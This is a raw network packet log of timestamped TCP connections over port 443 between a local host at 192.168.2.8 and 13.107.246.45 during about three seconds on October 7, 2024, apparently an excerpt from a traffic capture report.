Oct 7, 2024 06:45:58.180879116 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.180963993 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.181166887 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.181195974 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.408188105 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.408797026 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.408807993 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.409540892 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.409545898 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.508160114 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.508508921 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.508573055 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.508868933 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.508878946 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.508888960 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.508893967 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.519890070 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.519948006 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.520018101 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.521162987 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.521181107 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.527601004 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.534168959 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.534177065 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.535172939 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.535177946 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.584409952 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.585074902 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.585135937 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.585700035 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.585712910 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.631365061 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.631450891 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.631555080 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.631649017 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.631701946 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.632066011 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.632082939 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.632095098 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.632100105 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.635914087 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.635953903 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.636045933 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.636229992 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.636243105 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.686223984 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.686378002 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.686472893 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.688869953 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.688920975 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.688951969 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.688970089 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.692425966 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.692456007 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.692565918 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.692907095 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.692919970 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.790081024 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.839477062 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.844093084 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.844099045 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.844784975 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.844789028 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.845894098 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.846308947 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.846329927 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.846828938 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.846834898 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.941585064 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.941692114 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.941750050 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.941759109 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.941800117 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.941857100 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.942627907 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.942636013 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.942656994 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.942660093 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.946929932 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.947076082 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.947134018 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.954994917 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.955009937 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.955022097 CEST	49921	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.955028057 CEST	443	49921	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.010982037 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.011095047 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.011204004 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.017317057 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.017347097 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.017431021 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.017899990 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.017937899 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.018126011 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.018151045 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.160284996 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.172741890 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.172775030 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.183933020 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.183959961 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.279511929 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.279660940 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.279725075 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.287817955 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.340351105 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.341603041 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.384568930 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.384604931 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.384617090 CEST	49922	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.384624004 CEST	443	49922	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.385164022 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.385174990 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.385797024 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.385802031 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.386334896 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.392976046 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.392986059 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.393528938 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.393533945 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.396810055 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.396842003 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.396996975 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.397224903 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.397236109 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.482976913 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.483141899 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.483220100 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.483244896 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.483268023 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.483338118 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.490278959 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.490434885 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.490494013 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.510824919 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.510837078 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.510862112 CEST	49923	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.510867119 CEST	443	49923	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.557013035 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.557030916 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.557041883 CEST	49924	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.557048082 CEST	443	49924	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.592745066 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.592783928 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.592856884 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.611509085 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.611543894 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.611648083 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.611812115 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.611828089 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.612204075 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.612230062 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.662836075 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.665102959 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.665189028 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.666544914 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.666559935 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.673696041 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.679095984 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.679133892 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.679703951 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.679714918 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.762486935 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.762574911 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.762660980 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.766851902 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.766895056 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.766928911 CEST	49925	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.766942978 CEST	443	49925	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.776370049 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.776439905 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.776504040 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.776540995 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.776608944 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.776669025 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.784486055 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.784523010 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.784550905 CEST	49926	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.784563065 CEST	443	49926	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.791801929 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.791867018 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.791956902 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.792335033 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.792365074 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.794236898 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.794298887 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:59.794377089 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.794698000 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:59.794713020 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.090229034 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.090954065 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.090976000 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.092145920 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.092149973 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.196692944 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.196857929 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.197089911 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.197146893 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.197163105 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.197173119 CEST	49927	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.197177887 CEST	443	49927	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.200356960 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.200411081 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.200488091 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.200644970 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.200659990 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.251580000 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.252058983 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.252084017 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.252543926 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.252551079 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.255007029 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.255467892 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.255557060 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.255820990 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.255913019 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.349240065 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.349323988 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.349438906 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.349598885 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.349598885 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.349939108 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.349963903 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.349980116 CEST	49928	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.349987030 CEST	443	49928	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353339911 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353503942 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353595972 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353602886 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353636980 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353724957 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353743076 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353789091 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353818893 CEST	49929	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353836060 CEST	443	49929	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.353960037 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.353975058 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.356372118 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.356381893 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.356481075 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.356601954 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.356616020 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.429815054 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.430412054 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.430438042 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.430989981 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.431004047 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.445894003 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.446451902 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.446477890 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.446841002 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.446847916 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.527503014 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.527659893 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.527726889 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.527854919 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.527878046 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.527892113 CEST	49930	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.527899027 CEST	443	49930	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.530983925 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.531028986 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.531100988 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.531243086 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.531253099 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.545664072 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.545833111 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.545934916 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.545934916 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.545985937 CEST	49931	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.546004057 CEST	443	49931	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.548330069 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.548403978 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.548475027 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.548609972 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.548629999 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.839962959 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.841456890 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.841476917 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.841907978 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.841913939 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944451094 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944473982 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944530010 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.944536924 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944607019 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944654942 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.944865942 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.944880009 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.944889069 CEST	49932	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.944895029 CEST	443	49932	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.948173046 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.948210001 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:00.948293924 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.948473930 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:00.948487043 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.000677109 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.001199007 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.001218081 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.001691103 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.001698017 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.020493984 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.020797968 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.020832062 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.021099091 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.021106958 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099179029 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099510908 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099586964 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.099605083 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099628925 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099689960 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.099733114 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.099755049 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.099772930 CEST	49934	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.099780083 CEST	443	49934	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.102921963 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.102973938 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.103064060 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.103239059 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.103256941 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.122077942 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.122241974 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.122306108 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.122334003 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.122340918 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.122355938 CEST	49933	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.122361898 CEST	443	49933	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.124301910 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.124362946 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.124433994 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.124567986 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.124599934 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.185580969 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.186234951 CEST	49935	443	192.168.2.8	13.107.246.45
